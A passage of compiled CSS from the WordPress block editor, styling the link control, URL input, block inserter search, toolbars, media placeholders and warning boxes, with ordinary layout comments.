.block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .block-editor-link-control .block-editor-link-control__search-input .components-base-control__field { margin-bottom: 0; } .block-editor-link-control__search-error { margin: -8px 16px 16px; } .block-editor-link-control__search-actions { position: absolute; /* * Actions must be positioned on top of URLInput, since the input will grow * when suggestions are rendered. * * Compensate for: * - Input margin ($grid-unit-20) * - Border (1px) * - Vertically, for the difference in height between the input (40px) and * the icon buttons. * - Horizontally, pad to the minimum of: default input padding, or the * equivalent of the vertical padding. */ top: 19px; right: 19px; } .components-button .block-editor-link-control__search-submit .has-icon { margin: -1px; } .block-editor-link-control__search-results-wrapper { position: relative; margin-top: -15px; } .block-editor-link-control__search-results-wrapper::before, .block-editor-link-control__search-results-wrapper::after { content: ""; position: absolute; left: -1px; right: 16px; display: block; pointer-events: none; z-index: 100; } .block-editor-link-control__search-results-wrapper::before { height: 8px; top: 0; bottom: auto; } .block-editor-link-control__search-results-wrapper::after { height: 16px; bottom: 0; top: auto; } .block-editor-link-control__search-results-label { padding: 16px 32px 0; display: block; font-weight: 600; } .block-editor-link-control__search-results { margin: 0; padding: 8px 16px 8px; max-height: 200px; overflow-y: auto; } .block-editor-link-control__search-results.is-loading { opacity: 0.2; } .block-editor-link-control__search-item { position: relative; display: flex; align-items: center; font-size: 13px; cursor: pointer; background: #fff; width: 100%; border: none; text-align: left; padding: 12px 16px; border-radius: 5px; height: auto; } .block-editor-link-control__search-item:hover, .block-editor-link-control__search-item:focus { background-color: #ddd; } .block-editor-link-control__search-item:focus:not(:disabled) { box-shadow: 0 0 0 2px #007cba inset; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset; } .block-editor-link-control__search-item.is-selected { background: #f0f0f0; } .block-editor-link-control__search-item.is-selected .block-editor-link-control__search-item-type { background: #fff; } .block-editor-link-control__search-item.is-current { background: transparent; border: 0; width: 100%; cursor: default; padding: 16px; padding-left: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-header { display: block; margin-right: 8px; overflow: hidden; white-space: nowrap; } .block-editor-link-control__search-item .block-editor-link-control__search-item-icon { margin-right: 1em; min-width: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info, .block-editor-link-control__search-item .block-editor-link-control__search-item-title { overflow: hidden; text-overflow: ellipsis; padding-right: 24px; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info .components-external-link__icon, .block-editor-link-control__search-item .block-editor-link-control__search-item-title .components-external-link__icon { position: absolute; right: 0; margin-top: 0; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title { display: block; margin-bottom: 0.2em; font-weight: 500; position: relative; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title mark { font-weight: 700; color: #000; background-color: transparent; } .block-editor-link-control__search-item .block-editor-link-control__search-item-title span { font-weight: normal; } .block-editor-link-control__search-item .block-editor-link-control__search-item-info { display: block; color: #757575; font-size: 0.9em; line-height: 1.3; } .block-editor-link-control__search-item .block-editor-link-control__search-item-type { display: block; padding: 3px 8px; margin-left: auto; font-size: 0.9em; background-color: #f0f0f0; border-radius: 2px; } .block-editor-link-control__loading { margin: 16px; display: flex; align-items: center; } .block-editor-link-control__loading .components-spinner { margin-top: 0; } .components-button + .block-editor-link-control__search-create { overflow: visible; padding: 12px 16px; } .components-button + .block-editor-link-control__search-create::before { content: ""; position: absolute; top: -10px; left: 0; display: block; width: 100%; } .block-editor-link-control__search-results div[role=menu] > .block-editor-link-control__search-item.block-editor-link-control__search-item { padding: 10px; } .block-editor-link-control__settings { border-top: 1px solid #ddd; margin: 0; padding: 16px 24px; } .block-editor-link-control__settings :last-child { margin-bottom: 0; } .block-editor-link-control__setting { margin-bottom: 16px; } .block-editor-link-control__setting :last-child { margin-bottom: 0; } .block-editor-link-control .block-editor-link-control__search-input .components-spinner { display: block; } .block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner { position: absolute; left: auto; bottom: auto; /* * Position spinner to the left of the actions. * * Compensate for: * - Input margin ($grid-unit-20) * - Border (1px) * - Vertically, for the difference in height between the input (40px) * and the spinner. * - Horizontally, adjust for the width occupied by the icon buttons, * then artificially create spacing that mimics as if the spinner * were center-padded to the same width as an icon button. */ top: 28px; right: 62px; } .block-editor-link-control__search-item-action { margin-left: auto; flex-shrink: 0; } .block-editor-line-height-control { margin-bottom: 24px; } .block-editor-line-height-control input { display: block; max-width: 60px; } .block-editor-image-size-control { margin-bottom: 1em; } .block-editor-image-size-control .block-editor-image-size-control__row { display: flex; justify-content: space-between; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width, .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height { margin-bottom: 0.5em; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width input, .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height input { line-height: 1.25; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__width { margin-right: 5px; } .block-editor-image-size-control .block-editor-image-size-control__row .block-editor-image-size-control__height { margin-left: 5px; } .block-editor-block-list__layout.has-overlay::after { content: ""; position: absolute; top: -14px; right: -14px; bottom: -14px; left: -14px; z-index: 60; } [data-align=full] .has-overlay::after { right: 0; left: 0; } .block-editor-block-types-list__list-item { display: block; width: 33.33%; padding: 0; margin: 0; } .components-button.block-editor-block-types-list__item { display: flex; flex-direction: column; width: 100%; font-size: 13px; color: #1e1e1e; padding: 8px; align-items: stretch; justify-content: center; cursor: pointer; background: transparent; word-break: break-word; border-radius: 2px; border: 1px solid transparent; transition: all 0.05s ease-in-out; position: relative; height: auto; } @media (prefers-reduced-motion: reduce) { .components-button.block-editor-block-types-list__item { transition-duration: 0s; } } .components-button.block-editor-block-types-list__item:disabled { opacity: 0.6; cursor: default; } .components-button.block-editor-block-types-list__item:not(:disabled):hover { border-color: #007cba; border-color: var(--wp-admin-theme-color); color: #007cba !important; color: var(--wp-admin-theme-color) !important; } .components-button.block-editor-block-types-list__item:not(:disabled).is-active { color: #fff; background: #1e1e1e; outline: 2px solid transparent; outline-offset: -2px; } .block-editor-block-types-list__item-icon { padding: 12px 20px; border-radius: 2px; color: #1e1e1e; transition: all 0.05s ease-in-out; } @media (prefers-reduced-motion: reduce) { .block-editor-block-types-list__item-icon { transition-duration: 0s; } } .block-editor-block-types-list__item-icon .block-editor-block-icon { margin-left: auto; margin-right: auto; } .block-editor-block-types-list__item-icon svg { transition: all 0.15s ease-out; } @media (prefers-reduced-motion: reduce) { .block-editor-block-types-list__item-icon svg { transition-duration: 0s; } } .block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon { cursor: grab; } .block-editor-block-types-list__item-title { padding: 4px 2px 8px; font-size: 12px; } .modal-open .block-editor-media-replace-flow__options { display: none; } .block-editor-media-replace-flow__options .components-popover__content > div { padding-top: 16px; } .block-editor-media-replace-flow__indicator { margin-left: 4px; } .block-editor-media-flow__url-input { border-top: 1px solid #1e1e1e; margin-top: 12px; margin-right: -12px; margin-left: -12px; padding: 12px 24px 0; } .block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label { top: 16px; } .block-editor-media-flow__url-input .block-editor-link-control { margin-top: -16px; width: auto; } .block-editor-media-flow__url-input .block-editor-link-control .components-base-control .components-base-control__field { margin-bottom: 0; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title { max-width: 180px; margin-top: 16px; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current { width: auto; padding: 0; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text] { margin: 16px 0 0 0; width: 100%; } .block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions { right: 4px; } .block-editor-media-flow__error { padding: 0 20px 20px 20px; max-width: 255px; } .block-editor-media-flow__error .components-with-notices-ui { max-width: 255px; } .block-editor-media-flow__error .components-with-notices-ui .components-notice__content { overflow: hidden; word-wrap: break-word; } .block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss { position: absolute; right: 10px; } .block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button { margin-bottom: 0; } .block-editor-media-placeholder__url-input-form { display: flex; } .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field { width: 100%; flex-grow: 1; border: none; border-radius: 0; margin: 2px; } @media (min-width: 600px) { .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field { width: 300px; } } .block-editor-media-placeholder__url-input-submit-button { flex-shrink: 1; } .block-editor-media-placeholder__button { margin-bottom: 0.5rem; } .block-editor-media-placeholder__cancel-button.is-link { margin: 1em; display: block; } .block-editor-media-placeholder.is-appender { min-height: 0; } .block-editor-media-placeholder.is-appender:hover { cursor: pointer; box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); } .block-editor-multi-selection-inspector__card { display: flex; align-items: flex-start; padding: 16px; } .block-editor-multi-selection-inspector__card-content { flex-grow: 1; } .block-editor-multi-selection-inspector__card-title { font-weight: 500; margin-bottom: 5px; } .block-editor-multi-selection-inspector__card-description { font-size: 13px; } .block-editor-multi-selection-inspector__card .block-editor-block-icon { margin-left: -2px; margin-right: 10px; padding: 0 3px; width: 36px; height: 24px; } .block-editor-plain-text { box-shadow: none; font-family: inherit; font-size: inherit; color: inherit; line-height: inherit; border: none; padding: 0; margin: 0; width: 100%; } .block-editor-responsive-block-control { margin-bottom: 28px; border-bottom: 1px solid #ccc; padding-bottom: 14px; } .block-editor-responsive-block-control:last-child { padding-bottom: 0; border-bottom: 0; } .block-editor-responsive-block-control__title { margin: 0; margin-bottom: 0.6em; margin-left: -3px; } .block-editor-responsive-block-control__label { font-weight: 600; margin-bottom: 0.6em; margin-left: -3px; } .block-editor-responsive-block-control__inner { margin-left: -1px; } .block-editor-responsive-block-control__toggle { margin-left: 1px; } .block-editor-responsive-block-control .components-base-control__help { border: 0; clip: rect(1px, 1px, 1px, 1px); -webkit-clip-path: inset(50%); clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } .block-editor-format-toolbar .components-dropdown-menu__toggle { justify-content: center; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon { width: auto; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon svg { display: none; } .show-icon-labels .block-editor-format-toolbar .components-button.has-icon::after { content: attr(aria-label); } .block-editor-rich-text__editable > p:first-child { margin-top: 0; } .block-editor-rich-text__editable [data-rich-text-placeholder] { pointer-events: none; } .block-editor-rich-text__editable [data-rich-text-placeholder]::after { content: attr(data-rich-text-placeholder); opacity: 0.62; } .block-editor-rich-text__editable:focus { outline: none; } .block-editor-rich-text__editable:focus [data-rich-text-format-boundary] { border-radius: 2px; } .block-editor-rich-text__editable:focus:not(.keep-placeholder-on-focus) [data-rich-text-placeholder]::after { display: none; } figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]::before { opacity: 0.8; } .components-popover.block-editor-rich-text__inline-format-toolbar { z-index: 99998; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content { width: auto; min-width: auto; margin-bottom: 8px; box-shadow: none; border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group, .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar { border: none; } .components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control, .components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle { min-width: 48px; min-height: 48px; padding-left: 12px; padding-right: 12px; } .block-editor-skip-to-selected-block { position: absolute; top: -9999em; } .block-editor-skip-to-selected-block:focus { height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; background: #f1f1f1; color: #007cba; color: var(--wp-admin-theme-color); line-height: normal; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); text-decoration: none; outline: none; z-index: 100000; } .block-editor-text-decoration-and-transform { display: flex; } .block-editor-text-transform-control { flex: 0 0 50%; } .block-editor-text-transform-control legend { margin-bottom: 8px; } .block-editor-text-transform-control .block-editor-text-transform-control__buttons { display: inline-flex; margin-bottom: 24px; } .block-editor-text-transform-control .block-editor-text-transform-control__buttons .components-button.has-icon { min-width: 24px; padding: 0; margin-right: 4px; } .block-editor-text-decoration-control { flex: 0 0 50%; } .block-editor-text-decoration-control legend { margin-bottom: 8px; } .block-editor-text-decoration-control .block-editor-text-decoration-control__buttons { display: inline-flex; margin-bottom: 24px; } .block-editor-text-decoration-control .block-editor-text-decoration-control__buttons .components-button.has-icon { min-width: 24px; padding: 0; margin-right: 4px; } .block-editor-tool-selector__help { margin-top: 8px; margin-left: -12px; margin-right: -12px; margin-bottom: -12px; padding: 12px 20px; border-top: 1px solid #ddd; color: #757575; min-width: 280px; } .block-editor-block-list__block .block-editor-url-input, .components-popover .block-editor-url-input, .block-editor-url-input { flex-grow: 1; position: relative; padding: 1px; } .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { width: 100%; padding: 8px; border: none; border-radius: 0; margin-left: 0; margin-right: 0; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (min-width: 600px) { .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { width: 300px; } } @media (min-width: 600px) { .block-editor-block-list__block .block-editor-url-input input[type=text], .components-popover .block-editor-url-input input[type=text], .block-editor-url-input input[type=text] { font-size: 13px; } } .block-editor-block-list__block .block-editor-url-input input[type=text]::-ms-clear, .components-popover .block-editor-url-input input[type=text]::-ms-clear, .block-editor-url-input input[type=text]::-ms-clear { display: none; } .block-editor-block-list__block .block-editor-url-input.is-full-width, .components-popover .block-editor-url-input.is-full-width, .block-editor-url-input.is-full-width { width: 100%; } .block-editor-block-list__block .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text], .components-popover .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text], .block-editor-url-input.is-full-width .block-editor-url-input__input[type=text] { width: 100%; } .block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions, .components-popover .block-editor-url-input.is-full-width__suggestions, .block-editor-url-input.is-full-width__suggestions { width: 100%; } .block-editor-block-list__block .block-editor-url-input .components-spinner, .components-popover .block-editor-url-input .components-spinner, .block-editor-url-input .components-spinner { position: absolute; right: 8px; bottom: 17px; margin: 0; } .block-editor-url-input__input[type=text] { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; } @media (prefers-reduced-motion: reduce) { .block-editor-url-input__input[type=text] { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-url-input__input[type=text] { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-url-input__input[type=text]:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-url-input__input[type=text]::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-url-input__input[type=text]::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-url-input__input[type=text]:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-url-input__input[type=text]::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-url-input__input[type=text]::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-url-input__input[type=text]:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } .block-editor-url-input__suggestions { max-height: 200px; transition: all 0.15s ease-in-out; padding: 4px 0; width: 302px; overflow-y: auto; } @media (prefers-reduced-motion: reduce) { .block-editor-url-input__suggestions { transition-duration: 0s; } } .block-editor-url-input__suggestions, .block-editor-url-input .components-spinner { display: none; } @media (min-width: 600px) { .block-editor-url-input__suggestions, .block-editor-url-input .components-spinner { display: inherit; } } .block-editor-url-input__suggestion { padding: 4px 8px; color: #757575; display: block; font-size: 13px; cursor: pointer; background: #fff; width: 100%; border: none; text-align: left; box-shadow: none; } .block-editor-url-input__suggestion:hover { background: #ddd; } .block-editor-url-input__suggestion:focus, .block-editor-url-input__suggestion.is-selected { background: #005a87; background: var(--wp-admin-theme-color-darker-20); color: #fff; outline: none; } .components-toolbar-group > .block-editor-url-input__button, .components-toolbar > .block-editor-url-input__button { position: inherit; } .block-editor-url-input__button .block-editor-url-input__back { margin-right: 4px; overflow: visible; } .block-editor-url-input__button .block-editor-url-input__back::after { content: ""; position: absolute; display: block; width: 1px; height: 24px; right: -1px; background: #ddd; } .block-editor-url-input__button-modal { box-shadow: 0 2px 6px rgba(0, 0, 0, 0.05); border: 1px solid #ddd; background: #fff; } .block-editor-url-input__button-modal-line { display: flex; flex-direction: row; flex-grow: 1; flex-shrink: 1; min-width: 0; align-items: flex-start; } .block-editor-url-input__button-modal-line .components-button { flex-shrink: 0; width: 36px; height: 36px; } .block-editor-url-popover__additional-controls { border-top: 1px solid #ddd; } .block-editor-url-popover__additional-controls > div[role=menu] .components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary) > svg { box-shadow: none; } .block-editor-url-popover__additional-controls div[role=menu] > .components-button { padding-left: 2px; } .block-editor-url-popover__row { display: flex; } .block-editor-url-popover__row > :not(.block-editor-url-popover__settings-toggle) { flex-grow: 1; } .block-editor-url-popover .components-button.has-icon { padding: 3px; } .block-editor-url-popover .components-button.has-icon > svg { padding: 5px; border-radius: 2px; height: 30px; width: 30px; } .block-editor-url-popover .components-button.has-icon:not(:disabled):focus { box-shadow: none; } .block-editor-url-popover .components-button.has-icon:not(:disabled):focus > svg { box-shadow: inset 0 0 0 2px #007cba, inset 0 0 0 4px #fff; box-shadow: inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 4px #fff; outline: 2px solid transparent; } .block-editor-url-popover__settings-toggle { flex-shrink: 0; border-radius: 0; border-left: 1px solid #ddd; margin-left: 1px; } .block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon { transform: rotate(180deg); } .block-editor-url-popover__input-container .components-base-control:last-child, .block-editor-url-popover__input-container .components-base-control:last-child .components-base-control__field { margin-bottom: 0; } .block-editor-url-popover__settings { display: block; padding: 16px; border-top: 1px solid #ddd; } .block-editor-url-popover__link-editor, .block-editor-url-popover__link-viewer { display: flex; } .block-editor-url-popover__link-editor .block-editor-url-input .components-base-control__field, .block-editor-url-popover__link-viewer .block-editor-url-input .components-base-control__field { margin-bottom: 0; } .block-editor-url-popover__link-editor .block-editor-url-input .components-spinner, .block-editor-url-popover__link-viewer .block-editor-url-input .components-spinner { bottom: 9px; } .block-editor-url-popover__link-viewer-url { margin: 7px; flex-grow: 1; flex-shrink: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; min-width: 150px; max-width: 500px; } .block-editor-url-popover__link-viewer-url.has-invalid-link { color: #cc1818; } .block-editor-warning { align-items: center; display: flex; flex-wrap: wrap; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 1em; border: 1px solid #1e1e1e; border-radius: 2px; background-color: #fff; } .block-editor-warning .block-editor-warning__message { line-height: 1.4; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; color: #1e1e1e; margin: 0; } .block-editor-warning p.block-editor-warning__message.block-editor-warning__message { min-height: auto; } .block-editor-warning .block-editor-warning__contents { display: flex; flex-direction: row; justify-content: space-between; flex-wrap: wrap; align-items: baseline; width: 100%; } .block-editor-warning .block-editor-warning__actions { display: flex; margin-top: 1em; } .block-editor-warning .block-editor-warning__action { margin: 0 8px 0 0; } .block-editor-warning__secondary { margin: auto 0 auto 8px; } .components-popover.block-editor-warning__dropdown { z-index: 99998; } .html-anchor-control .components-external-link { display: block; margin-top: 8px; } #end-resizable-editor-section { display: none; } /** * Block Toolbar */ .block-editor-block-toolbar { display: flex; flex-grow: 1; width: 100%; overflow: auto; position: relative; transition: border-color 0.1s linear, box-shadow 0.1s linear; } @media (prefers-reduced-motion: reduce) { .block-editor-block-toolbar { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-block-toolbar { overflow: inherit; } } .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-toolbar .components-toolbar { background: none; line-height: 0; margin-top: -1px; margin-bottom: -1px; border: 0; border-right: 1px solid #ddd; } .block-editor-block-toolbar > :last-child, .block-editor-block-toolbar > :last-child .components-toolbar-group, .block-editor-block-toolbar > :last-child .components-toolbar { border-right: none; } .block-editor-block-toolbar__block-controls { height: auto !important; padding: 0 !important; } .block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon, .block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { width: 24px !important; margin: 0 !important; } .block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle:focus::before, .block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon:focus::before { right: 4px !important; } .block-editor-block-toolbar__block-controls .block-editor-block-mover { margin-left: -6px; } .block-editor-block-toolbar .components-toolbar-group, .block-editor-block-toolbar .components-toolbar, .block-editor-format-toolbar .components-toolbar-group, .block-editor-format-toolbar .components-toolbar { display: flex; flex-wrap: nowrap; } .block-editor-block-toolbar__slot { display: inline-block; line-height: 0; } @supports ((position: -webkit-sticky) or (position: sticky)) { .block-editor-block-toolbar__slot { display: inline-flex; } } .block-editor-block-toolbar__block-parent-selector-wrapper { position: absolute; top: -1px; left: -1px; opacity: 0; transition: all 60ms linear; z-index: -1; } @media (prefers-reduced-motion: reduce) { .block-editor-block-toolbar__block-parent-selector-wrapper { transition-duration: 0s; } } .is-showing-movers .block-editor-block-toolbar__block-parent-selector-wrapper { opacity: 1; transform: translateY(-60px); } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon { width: auto; } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg { display: none; } .show-icon-labels .block-editor-block-toolbar .components-button.has-icon::after { content: attr(aria-label); font-size: 12px; } .show-icon-labels .components-accessible-toolbar .components-toolbar-group > div:first-child:last-child > .components-button.has-icon { padding-left: 6px; padding-right: 6px; } .show-icon-labels .block-editor-block-switcher { border-right: 1px solid #1e1e1e; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle { margin-left: 0; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon, .show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon { width: 0 !important; height: 0 !important; } .show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle:focus::before, .show-icon-labels .block-editor-block-switcher__no-switcher-icon:focus::before { right: 4px !important; } .show-icon-labels .block-editor-block-parent-selector__button .block-editor-block-icon { width: 0; } .show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover { margin-left: 0; white-space: nowrap; } .show-icon-labels .block-editor-block-mover-button { padding-left: 8px !important; padding-right: 8px !important; } .show-icon-labels .block-editor-block-mover__drag-handle.has-icon { padding-left: 6px !important; padding-right: 6px !important; border-right: 1px solid #1e1e1e; } @media (min-width: 600px) { .show-icon-labels .is-up-button.is-up-button.is-up-button { border-bottom: 1px solid #1e1e1e; margin-right: 0; border-radius: 0; } } .show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button { width: auto; } .show-icon-labels .components-toolbar, .show-icon-labels .components-toolbar-group { flex-shrink: 1; } .show-icon-labels .block-editor-format-toolbar .components-button + .components-button { margin-left: 6px; } .block-editor-inserter { display: inline-block; background: none; border: none; padding: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 13px; line-height: 0; } @media (min-width: 782px) { .block-editor-inserter { position: relative; } } .block-editor-inserter__popover.is-quick .components-popover__content { border: none; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > * { border-left: 1px solid #ccc; border-right: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *:first-child { border-top: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *:last-child { border-bottom: 1px solid #ccc; } .block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter > *.components-button { border: 1px solid #1e1e1e; } .block-editor-inserter__popover .block-editor-inserter__menu { margin: -12px; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tabs .components-tab-panel__tabs { top: 60px; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area { overflow: visible; height: auto; } .block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container { display: none; } .block-editor-inserter__toggle.components-button { display: inline-flex; align-items: center; cursor: pointer; border: none; outline: none; padding: 0; transition: color 0.2s ease; } @media (prefers-reduced-motion: reduce) { .block-editor-inserter__toggle.components-button { transition-duration: 0s; } } .block-editor-inserter__menu { height: 100%; position: relative; overflow: visible; } .block-editor-inserter__main-area { width: auto; overflow-y: auto; height: 100%; } @media (min-width: 782px) { .block-editor-inserter__main-area { width: 350px; } } .block-editor-inserter__inline-elements { margin-top: -1px; } .block-editor-inserter__menu.is-bottom::after { border-bottom-color: #fff; } .components-popover.block-editor-inserter__popover { z-index: 99999; } .block-editor-inserter__search { padding: 16px; position: -webkit-sticky; position: sticky; top: 0; background: #fff; z-index: 1; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; padding: 6px 8px; box-shadow: 0 0 0 transparent; transition: box-shadow 0.1s linear; border-radius: 2px; border: 1px solid #757575; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; /* Override core line-height. To be reviewed. */ line-height: normal; display: block; padding: 16px 48px 16px 16px; background: #f0f0f0; border: none; width: 100%; height: 48px; /* Fonts smaller than 16px causes mobile safari to zoom. */ font-size: 16px; } @media (prefers-reduced-motion: reduce) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { transition-duration: 0s; } } @media (min-width: 600px) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-size: 13px; /* Override core line-height. To be reviewed. */ line-height: normal; } } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus { border-color: #007cba; border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px #007cba; box-shadow: 0 0 0 1px var(--wp-admin-theme-color); outline: 2px solid transparent; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder { color: rgba(30, 30, 30, 0.62); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder { opacity: 1; color: rgba(30, 30, 30, 0.62); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: rgba(30, 30, 30, 0.62); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-input-placeholder { color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-moz-placeholder { opacity: 1; color: rgba(255, 255, 255, 0.65); } .is-dark-theme .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: rgba(255, 255, 255, 0.65); } @media (min-width: 600px) { .block-editor-inserter__search input[type=search].block-editor-inserter__search-input { font-size: 13px; } } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:focus { background: #fff; box-shadow: 0 0 0 2px #007cba; box-shadow: 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input:-ms-input-placeholder { color: #757575; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::placeholder { color: #757575; } .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-decoration, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-cancel-button, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-button, .block-editor-inserter__search input[type=search].block-editor-inserter__search-input::-webkit-search-results-decoration { -webkit-appearance: none; } .block-editor-inserter__search-icon { position: absolute; top: 0; right: 20px; bottom: 0; display: flex; align-items: center; } .block-editor-inserter__search-icon > svg { margin: 8px; } 